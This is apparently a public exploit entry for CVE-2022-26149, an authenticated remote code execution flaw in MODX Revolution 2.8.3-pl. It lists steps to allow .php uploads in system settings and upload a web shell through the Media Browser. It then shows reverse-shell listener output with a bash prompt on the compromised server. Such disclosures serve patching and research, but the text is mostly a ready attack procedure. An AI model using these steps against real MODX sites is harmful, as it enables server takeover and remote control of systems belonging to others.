# Exploit Title: Authenticated Remote Code Execution in MODX Revolution V2.8.3-pl # Remote Code Execution in MODX Revolution V2.8.3-pl and earlier allows remote attackers to execute arbitrary code via uploading a php web shell. # Exploit Author: Sarang Tumne @CyberInsane (Twitter: @thecyberinsane) #HTB profile: https://www.hackthebox.com/home/users/profile/2718 # Date: 26th Feb'2022 # CVE ID: CVE-2022-26149 # Confirmed on release 2.8.3-pl # Vendor: https://modx.com/download ############################################### #Step1- Login with Admin Credentials #Step2- Uploading .php files is disabled by default hence we need to abuse the functionality: Add the php file extension under the "Uploadable File Types" option available in "System Settings" #Step3- Now Goto Media=>Media Browser and upload the Shell.php #Step4- Now visit http://IP_Address/Shell.php and get the reverse shell: listening on [any] 4477 ... connect to [192.168.56.1] from (UNKNOWN) [192.168.56.130] 58056 bash: cannot set terminal process group (1445): Inappropriate ioctl for device bash: no job control in this shell daemon@debian:/opt/bitnami/modx$